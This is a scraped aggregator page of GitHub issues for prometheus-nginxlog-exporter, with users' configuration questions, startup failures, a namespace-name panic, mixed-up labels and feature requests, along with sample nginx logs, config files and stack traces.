10.20.50.177 - - [28/Aug/2019:10:45:16 +0000] "GET /api/routes?page=0&rows=10 HTTP/1.1" 200 3200 "http://10.20.11.117:8800/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" "-"
10.20.50.177 - - [28/Aug/2019:10:45:19 +0000] "DELETE /api/route/7118145c-6bc9-43e1-854a-6e5330b86e40 HTTP/1.1" 200 162 "http://10.20.11.117:8800/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" "-"
10.20.50.177 - - [28/Aug/2019:10:45:22 +0000] "GET /api/infos?page=0&rows=10 HTTP/1.1" 200 2277 "http://10.20.11.117:8800/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" "-"
10.20.50.177 - - [28/Aug/2019:10:45:27 +0000] "DELETE /api/info/acf827c3-a954-4932-8db3-13da4e62bd6a HTTP/1.1" 200 218 "http://10.20.11.117:8800/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" "-"
10.20.50.177 - - [28/Aug/2019:10:45:27 +0000] "GET /api/infos?page=0&rows=10 HTTP/1.1" 200 382 "http://10.20.11.117:8800/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" "-"
10.20.50.177 - - [28/Aug/2019:10:45:29 +0000] "GET /api/routes?page=0&rows=10 HTTP/1.1" 200 3200 "http://10.20.11.117:8800/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" "-"
10.20.50.177 - - [28/Aug/2019:10:45:33 +0000] "GET /api/serviceManage/findServiceName?page=0&rows=10 HTTP/1.1" 200 2384 "http://10.20.11.117:8800/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" "-"
10.20.50.177 - - [28/Aug/2019:10:45:34 +0000] "GET /api/routes?page=0&rows=10 HTTP/1.1" 200 3200 "http://10.20.11.117:8800/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" "-"
10.20.50.177 - - [28/Aug/2019:10:45:35 +0000] "GET /api/serviceManage/findServiceName?page=0&rows=10 HTTP/1.1" 200 2384 "http://10.20.11.117:8800/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36" "-"
10.20.50.149 - - [29/Aug/2019:03:02:30 +0000] "GET / HTTP/1.1" 200 578 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36" "-"
10.20.50.149 - - [29/Aug/2019:03:02:30 +0000] "GET /static/js/manifest.cf3d4d515cbe423cd60d.js HTTP/1.1" 200 1485 "http://10.20.11.117:8801/" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36" "-"
10.20.50.149 - - [29/Aug/2019:03:02:30 +0000] "GET /static/css/app.e1b767eac39024c24da2635492bec93d.css HTTP/1.1" 200 267669 "http://10.20.11.117:8801/" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36" "-"

Environment:

Exporter version:
OS (e.g. from /etc/os-release): centos7
Others:

Flexible log_format

We use this log_format :

"$hostname "$remote_addr" - $remote_user [$time_local] "$request" $status $body_bytes_sent "$http_referer" "$http_user_agent" "$http_x_forwarded_for" "$geoip_city_country_code" "$http_cf_ray" "$uuid"

How can I implement this in the xporter without altering code?

running prometheus-nginxlog-exporter.service

First of all, I am sorry that I am asking this question as an "issue" as I could not find any other way to contact you.

I am new to Go, prometheus and exporters. I am trying to use this exporter to collect metrics from nginx server for prometheus.

In your README.md under "Running the collector", you have specified that "The shipped unit file expects the binary to be located in /usr/local/bin/prometheus-nginxlog-exporter". My binary file is /root/projects/bin/prometheus-nginxlog-exporter

I have followed the steps below:

Installed Go on nginx server
$GOPATH is /root/projects
git clone https://github.com/martin-helmich/prometheus-nginxlog-exporter.git $GOPATH/src/github.com/martin-helmich/prometheus-nginxlog-exporter

4)# cd $GOPATH/src/github.com/martin-helmich/prometheus-nginxlog-exporter
5)# go install
6) This created a binary in $GOPATH/bin with the name "prometheus-nginxlog-exporter"
7) Contents of my /etc/prometheus-nginxlog-exporter.hcl file are as below:

`listen {
port = 4040
address = "localhost"
}

consul {
enable = true
address = "localhost:8500"
service {
id = "nginx-exporter"
name = "nginx-exporter"
datacenter = "dc1"
scheme = "http"
token = ""
tags = ["foo", "bar"]
}
}

namespace "somehostname" {
source_files = [
"/var/log/nginx/access.log",
"/var/log/nginx/error.log"
]
format = "$remote_addr - $remote_user [$time_local] "$request" $status $body_bytes_sent "$http_referer" "$http_user_agent" "$http_x_forwarded_for" $cookie_session"
labels {
app = "rtiproxy3"
foo = "bar"
}
}`

Then I took the unit file from git

wget -O /etc/systemd/system/prometheus-nginxlog-exporter.service https://raw.githubusercontent.com/martin-helmich/prometheus-nginxlog-exporter/master/systemd/prometheus-nginxlog-exporter.service

Modified /etc/systemd/system/prometheus-nginxlog-exporter.service to have the below contents:

`[Unit]
Description=NGINX metrics exporter for Prometheus
After=network-online.target

[Service]
ExecStart=/root/projects/bin/prometheus-nginxlog-exporter -config-file /etc/prometheus-nginxlog-exporter.hcl
Restart=always
ProtectSystem=full
CapabilityBoundingSet=

[Install]
WantedBy=multi-user.target
`

10)# systemctl enable prometheus-nginxlog-exporter
11)# systemctl start prometheus-nginxlog-exporter
12)# service prometheus-nginxlog-exporter status - gives me the following error

`prometheus-nginxlog-exporter.service - NGINX metrics exporter for Prometheus
Loaded: loaded (/etc/systemd/system/prometheus-nginxlog-exporter.service; enabled; vendor preset: disabled)
Active: failed (Result: start-limit) since Tue 2017-04-25 17:05:50 BST; 11s ago
Process: 59938 ExecStart=/root/projects/bin/prometheus-nginxlog-exporter -config-file /etc/prometheus-nginxlog-exporter.hcl (code=exited, status=2)
Main PID: 59938 (code=exited, status=2)

Apr 25 17:05:50 somehostname.net systemd[1]: Unit prometheus-nginxlog-exporter.service entered failed state.
Apr 25 17:05:50 somehostname.net systemd[1]: prometheus-nginxlog-exporter.service failed.
Apr 25 17:05:50 somehostname.net systemd[1]: prometheus-nginxlog-exporter.service holdoff time over, scheduling restart.
Apr 25 17:05:50 somehostname.net systemd[1]: start request repeated too quickly for prometheus-nginxlog-exporter.service
Apr 25 17:05:50 somehostname.net systemd[1]: Failed to start NGINX metrics exporter for Prometheus.
Apr 25 17:05:50 somehostname.net systemd[1]: Unit prometheus-nginxlog-exporter.service entered failed state.
Apr 25 17:05:50 somehostname.net systemd[1]: prometheus-nginxlog-exporter.service failed.`

There seems to be an issue with the binary that I created. Please could you let me know what is the issue.

Many Thanks!
@k-r-a

Want to add one more /handler in metrics. Please help to me do that ..

Issue type:

Pick one:
Feature request
Bug report
Support request

What happened:

What you expected to happen:

How to reproduce it (as minimally and precisely as possible):

Other important information:

Configuration file (remove section, if not applicable):

# Please post the contents of your configuration file, here

Metrics output (remove section, if not applicable):

# Please post the output of the exporter's /metrics endpoint, if applicable

Exporter output (remove section, if not applicable):

# Please post the output of the exporter itself, if applicable

Example log file (remove section, if not applicable):

# Please post an excerpt of a log file that can be used to reproduce the error
# Keep the excerpt as short as possible and make sure to redact any sensitive data.

Environment:

Exporter version:
OS (e.g. from /etc/os-release):
Others:

Dashed namespace crashes exporter

Issue type: Bug report

What happened:

I added a (yaml) configuration and used a namespace name containing a dash - in the same way as can be seen in the README, but Prometheus seems to crash since a dash is not valid in a metric name.

What you expected to happen:

In my case I would like it the most if dashes are converted to underscores since that would save me work in pre-formatting the string in Ansible. But for the general use case that might be too much magic.
I think it is not a problem that the exporter crashes since this is a limitation coming from Prometheus itself, but at least examples (such in the README) should be updated accordingly to represent actually working code.

How to reproduce it (as minimally and precisely as possible):

Simply start with any config that has a dash in the namespace name.

Other important information:

Thank you for creating this awesome exporter! It gives us super useful information and is in general super simple to use!

Configuration file (remove section, if not applicable):

listen:
  port: 4040
  address: "127.0.0.1"
namespaces:
- name: xxx-dev
  format: '$host - $remote_addr - $remote_user [$time_local] "$request" $status $body_bytes_sent "$http_referer" "$http_user_agent"
"$http_x_forwarded_for" rt="$request_time" uct="$upstream_connect_time" uht="$upstream_header_time" urt="$upstream_response_time"'
  source_files:
    - './access.log'

Exporter output (remove section, if not applicable):

loading configuration file ./nginx_exporter.yml
using configuration {{%!s(int=4040) 127.0.0.1} {%!s(bool=false)     {  []}} [{xxx-dev [./access.log] $host - $remote_addr - $remote_user [$time_local] "$request" $status $body_bytes_sent "$http_referer" "$http_user_agent" "$http_x_forwarded_for" rt="$request_time" u
ct="$upstream_connect_time" uht="$upstream_header_time" urt="$upstream_response_time" map[] [] [] []}] %!s(bool=false)}
starting listener for namespace xxx-dev
running HTTP server on address 127.0.0.1:4040
panic: descriptor Desc{fqName: "xxx-dev_http_response_count_total", help: "Amount of processed HTTP requests", constLabels: {}, variableLabels: [method status]} is invalid: "xxx-dev_http_response_count_total" is not a valid
 metric name

goroutine 21 [running]:
github.com/martin-helmich/prometheus-nginxlog-exporter/vendor/github.com/prometheus/client_golang/prometheus.(*Registry).MustRegister(0xc4200a2440, 0xc420176160, 0x1, 0x1)
        /home/travis/gopath/src/github.com/martin-helmich/prometheus-nginxlog-exporter/vendor/github.com/prometheus/client_golang/prometheus/registry.go:404 +0x9e
github.com/martin-helmich/prometheus-nginxlog-exporter/vendor/github.com/prometheus/client_golang/prometheus.MustRegister(0xc420176160, 0x1, 0x1)
        /home/travis/gopath/src/github.com/martin-helmich/prometheus-nginxlog-exporter/vendor/github.com/prometheus/client_golang/prometheus/registry.go:152 +0x53
main.(*Metrics).Init(0xc42017c100, 0xc42006ff58)
        /home/travis/gopath/src/github.com/martin-helmich/prometheus-nginxlog-exporter/main.go:103 +0x9c2
main.main.func2(0xc42009ab50, 0x9, 0xc4200892c0, 0x1, 0x1, 0xc42010a500, 0xfa, 0xc420130060, 0x0, 0x0, ...)
        /home/travis/gopath/src/github.com/martin-helmich/prometheus-nginxlog-exporter/main.go:177 +0x8d
created by main.main
        /home/travis/gopath/src/github.com/martin-helmich/prometheus-nginxlog-exporter/main.go:173 +0x5db

Environment:

Exporter version: 1.2.0

Check Configuration

Issue type:

Support request

What happened:
I did the installation, but it looks like it's missing some metrics. I want to make sure I'm not doing anything wrong.

What you expected to happen:
In your blog, you mention some metrics (https://www.martin-helmich.de/en/blog/monitoring-nginx.html), like app_http_response_time_seconds_sum, app_http_response_time_seconds_count, app_http_response_time_seconds_count, app_http_response_size_bytes, etc, but in prometheus (my_server: 9090), only the following metrics appear to me:

app_http_response_count_total
app_http_response_size_bytes
http_request_duration_microseconds
http_request_duration_microseconds_count
http_request_duration_microseconds_sum
http_request_size_bytes
http_request_size_bytes_count
http_request_size_bytes_sum
http_requests_total
http_response_size_bytes
http_response_size_bytes_count
http_response_size_bytes_sum

Configuration file (remove section, if not applicable):

listen {
  port = 4040
  address = "localhost"
}

namespace "app" {
  format = "$remote_addr - $remote_user [$time_local] \"$request\" $status $body_bytes_sent \"$http_referer\" \"$http_user_agent\""
  source_files = [
     "/var/log/ispconfig/httpd/example.com/access.log"
  ]
}

prometheus.yml

scrape_configs:
  # The job name is added as a label `job=<job_name>` to any timeseries scraped from this config.
  - job_name: 'prometheus'

    # metrics_path defaults to '/metrics'
    # scheme defaults to 'http'.

    static_configs:
    - targets: ['localhost:9090']

  - job_name: 'node_exporter'
    static_configs:
      - targets: ['localhost:9100']

  - job_name: 'nginxlog-exporter'
    static_configs:
      - targets: ['localhost:4040']

Environment:

Exporter version: v1.2.1
OS (e.g. from /etc/os-release): CentOS
Others: Prometheus 2.6.0

binding to TCP6 PORTS?

root@5f2be741-a708-4ed3-dcd8-e1d43aface6a:~# netstat -an | grep 5050
tcp6 0 0 :::5050 :::* LISTEN

Labels get mixed up

So i have a bunch of different nginx locations, each writes to it's own file, the problem is that the labels applied to the metrics are getting mixed.

This is the config file i have:

listen {
port = 4040
}

namespace "pixel_server_pull_sync" {
format = "$remote_addr - $remote_user [$time_local] "$request" $status $bytes_received $body_bytes_sent "$http_referer" "$http_user_agent" "$http_x_forwarded_for" $upstream_response_time $request_time"
source_files = [
"/var/log/nginx/prometheus.pull_sync.log"
]
labels {
app = "pixel_server"
environment = "production"
location= "pull_sync"
}
}
namespace "pixel_server_ul_cb" {
format = "$remote_addr - $remote_user [$time_local] "$request" $status $bytes_received $body_bytes_sent "$http_referer" "$http_user_agent" "$http_x_forwarded_for" $upstream_response_time $request_time"
source_files = [
"/var/log/nginx/prometheus.ul_cb.log"
]
labels {
app = "pixel_server"
environment = "production"
location= "ul_cb"
}
}
namespace "pixel_server_bk_data" {
format = "$remote_addr - $remote_user [$time_local] "$request" $status $bytes_received $body_bytes_sent "$http_referer" "$http_user_agent" "$http_x_forwarded_for" $upstream_response_time $request_time"
source_files = [
"/var/log/nginx/prometheus.bk_data.log"
]
labels {
app = "pixel_server"
environment = "production"
location= "bk_data"
}
}
namespace "pixel_server_bk_data_mobile" {
format = "$remote_addr - $remote_user [$time_local] "$request" $status $bytes_received $body_bytes_sent "$http_referer" "$http_user_agent" "$http_x_forwarded_for" $upstream_response_time $request_time"
source_files = [
"/var/log/nginx/prometheus.bk_data_mobile.log"
]
labels {
app = "pixel_server"
environment = "production"
location= "bk_data_mobile"
}
}
namespace "pixel_server_br_sync" {
format = "$remote_addr - $remote_user [$time_local] "$request" $status $bytes_received $body_bytes_sent "$http_referer" "$http_user_agent" "$http_x_forwarded_for" $upstream_response_time $request_time"
source_files = [
"/var/log/nginx/prometheus.br_sync.log"
]
labels {
app = "pixel_server"
environment = "production"
location= "br_sync"
}
}
namespace "pixel_server_id_sync" {
format = "$remote_addr - $remote_user [$time_local] "$request" $status $bytes_received $body_bytes_sent "$http_referer" "$http_user_agent" "$http_x_forwarded_for" $upstream_response_time $request_time"
source_files = [
"/var/log/nginx/prometheus.id_sync.log"
]
labels {
app = "pixel_server"
environment = "production"
location= "id_sync"
}
}
namespace "pixel_server_pixel_brighttag" {
format = "$remote_addr - $remote_user [$time_local] "$request" $status $bytes_received $body_bytes_sent "$http_referer" "$http_user_agent" "$http_x_forwarded_for" $upstream_response_time $request_time"
source_files = [
"/var/log/nginx/prometheus.pixel_brighttag.log"
]
labels {
app = "pixel_server"
environment = "production"
location= "pixel_brighttag"
}
}
namespace "pixel_server_root" {
format = "$remote_addr - $remote_user [$time_local] "$request" $status $bytes_received $body_bytes_sent "$http_referer" "$http_user_agent" "$http_x_forwarded_for" $upstream_response_time $request_time"
source_files = [
"/var/log/nginx/prometheus.root.log"
]
labels {
app = "pixel_server"
environment = "production"
location= "root"
}
}
namespace "pixel_server_application" {
format = "$remote_addr - $remote_user [$time_local] "$request" $status $bytes_received $body_bytes_sent "$http_referer" "$http_user_agent" "$http_x_forwarded_for" $upstream_response_time $request_time"
source_files = [
"/var/log/nginx/prometheus.application.log"
]
labels {
app = "pixel_server"
environment = "production"
location= "application"
}

And the metrics I'm seeing are for example this:
pixel_server_id_sync_http_response_count_total{app="production",environment="id_sync",location="pixel_server",method="GET",status="200"} 30355
pixel_server_id_sync_http_response_count_total{app="production",environment="id_sync",location="pixel_server",method="GET",status="304"} 2845

As you can see the app, environment and location labels are getting mixed. My suspicion is that on this lines https://github.com/martin-helmich/prometheus-nginxlog-exporter/blob/master/main.go#L149-L155

The configuration is not being read correctly

unrecognized import path "golang.org/x/sys"

Issue type:

Pick one:
Feature request
Bug report
Support request

What happened:
Thank you very much for this very useful exporter. When I compiled the arm platform, a Ge package expired and could not be downloaded. Is there an alternative?

go: golang.org/x/[email protected]: unrecognized import path "golang.org/x/sys" (https fetch: Get https://golang.org/x/sys?go-get=1: dial tcp 216.239.37.1:443: connectex: A connection attempt failed because the connected party did not properly respond after a period of time, or esta
blished connection failed because connected host has failed to respond.)
go: error loading module requirements
What you expected to happen:

How to reproduce it (as minimally and precisely as possible):

Other important information:

Configuration file (remove section, if not applicable):

# Please post the contents of your configuration file, here

Metrics output (remove section, if not applicable):

# Please post the output of the exporter's /metrics endpoint, if applicable

Exporter output (remove section, if not applicable):

# Please post the output of the exporter itself, if applicable

Example log file (remove section, if not applicable):

# Please post an excerpt of a log file that can be used to reproduce the error
# Keep the excerpt as short as possible and make sure to redact any sensitive data.

Environment:

Exporter version:
OS (e.g. from /etc/os-release):
Others:

Dynamic namespace name

Support request:

What happened:
We have the following filenames convention for the log files: appname_[access|error].log. Is there a way to create a config, which takes a namespace and application name dynamically, via regexp?

Something like:

namespaces:
  - name: $1
    format: "$remote_addr - $remote_user [$time_local] \"$request\" $status $body_bytes_sent \"$http_referer\" \"$http_user_agent\" \"$http_x_forwarded_for\""
    source_files:
      - /var/log/nginx/(\w+)_access.log
    labels:
      app: "$1"
      environment: "production"
      foo: "bar"

Tool performance-related issue

Issue type: Support request

I w'd like to understand how the tool works exactly.

Each time the tool accesses the log, does it scan/parse the log file EACH time from the beginning? OR from the point it last accessed the log?

I have concerns regarding performance. What happens when Nginx is very busy and is writing a lot to the log?

Have you encountered performance issues in the past? Were you able to run any sort of performance tests?

I am intending to use this tool in a container. What are the CPU/RAM resources recommended?

Environment:

Exporter version: v1.3.0

Supporting Hot Load Configuration

When modifying the exporter configuration, the application must be restarted. After restarting, the original accumulated data will be cleared, which is not conducive to Prometheus collection. Can we support the hot loading configuration without restarting the application?

Build error: undefined: prometheus.Handler

Issue type:
Bug report

What happened:
I got the following error while trying to build from source.

prometheus-nginxlog-exporter/main.go:189:26: undefined: prometheus.Handler

Scraple path

No where in the readme does it actually specify where to collect metrics. Suggest adding the scrap path /metrics to the actual docs.

namespace as label

First of all thank you for this exporter, it helps a lot.

This is more like question than issue, but why don't use namespaces as label("vhost" or "server" for example) instead of metrics prefix? For example, from:

app1_http_response_count_total{method="GET",status="405"}
app2_http_response_count_total{method="GET",status="405"}

to:

http_response_count_total{method="GET",status="405",vhost=~"app1|app2"}

Now in Grafana dashboard we need to make multiple queries for each metric because of this prefix. If we use label we can use only one query per panel. Thanks.

Get data from syslog

Hello,
Is it possible to get data from file with syslog format (not changing this format)?

i.e. nginx config:
log_format nginx2prometheus '$remote_addr [$time_local] "$request" $status $body_bytes_sent "$http_referer" "$http_user_agent" $request_time $upstream_response_time';

prometheus-nginxlog-exporter config:
format = "$remote_addr [$time_local] \"$request\" $status $body_bytes_sent \"$http_referer\" \"$http_user_agent\" $request_time $upstream_response_time"

nginx log file:

8.8.8.8 [23/Jan/2018:16:00:02 +0300] "GET /bla?id=1 HTTP/1.1" 200 100 "https://bla.com/" "Mozilla/5.0 ..." 0.031 0.031
8.8.8.8 [23/Jan/2018:16:00:03 +0300] "GET /bla?id=2 HTTP/1.1" 200 100 "https://bla.com/" "Mozilla/5.0 ..." 0.032 0.032

syslog:

Jan 23 16:00:02 somehost nginx: 8.8.8.8 [23/Jan/2018:16:00:02 +0300] "GET /bla?id=1 HTTP/1.1" 200 100 "http://bla.com/" "Mozilla/5.0 ..." 0.031 0.031
Jan 23 16:00:03 somehost nginx: 8.8.8.8 [23/Jan/2018:16:00:03 +0300] "GET /bla?id=2 HTTP/1.1" 200 100 "http://bla.com/" "Mozilla/5.0 ..." 0.032 0.032

error while parsing line

Issue type: Bug report

What happened: Failing to parse nginx logs

What you expected to happen: Parse nginx logs based on the given format

How to reproduce it (as minimally and precisely as possible): Run exporter against nginx-logs generator using this tool: https://github.com/liubin/nginx-log-generator

Other important information:
Format specified: "$remote_addr - $remote_user [$time_local] \"$request\" $status $body_bytes_sent \"$http_referer\" \"$http_user_agent\" $process_time $bytes_sent $request_length"

Sample log line: 28.90.74.145 - - [17/Jan/2020:10:18:11 +0000] "GET /category/finance HTTP/1.1" 200 83 "/category/books?from=20" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 5175 1477 8842

Recommend Projects

React

A declarative, efficient, and flexible JavaScript library for building user interfaces.
Vue.js

🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
Typescript

TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
TensorFlow

An Open Source Machine Learning Framework for Everyone
Django

The Web framework for perfectionists with deadlines.
Laravel

A PHP framework for web artisans
D3

Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

javascript

JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
web

Some thing interesting about web. New door for the world.
server

A server is a program made to process requests and deliver data to clients.
Machine learning

Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Visualization

Some thing interesting about visualization, use data art
Game

Some thing interesting about game, make everyone happy.

Recommend Org

Facebook

We are working to build community through open source technology. NB: members must have two-factor auth.
Microsoft

Open source projects and samples from Microsoft.
Google

Google ❤️ Open Source for everyone.
Alibaba

Alibaba Open Source for everyone
D3

Data-Driven Documents codes.
Tencent

China tencent open source team.

martin-helmich / prometheus-nginxlog-exporter Goto Github PK

prometheus-nginxlog-exporter's Introduction

NGINX-to-Prometheus log file exporter

Contents

Usage

Installation

Docker

DEB and RPM packages

Manual installation, with systemd

Kubernetes

Build from source

Collected metrics

Configuration file

Advanced features

Namespace as labels

Custom labels pass-through

Log sources

Reading from files

Reading from syslog

Dynamic re-labeling

File Globs

JSON log_format

Frequently Asked Questions

Credits

prometheus-nginxlog-exporter's People

Contributors

Stargazers

Watchers

Forkers

prometheus-nginxlog-exporter's Issues

git clone https://github.com/martin-helmich/prometheus-nginxlog-exporter.git $GOPATH/src/github.com/martin-helmich/prometheus-nginxlog-exporter

wget -O /etc/systemd/system/prometheus-nginxlog-exporter.service https://raw.githubusercontent.com/martin-helmich/prometheus-nginxlog-exporter/master/systemd/prometheus-nginxlog-exporter.service

Recommend Projects

Recommend Topics

Recommend Org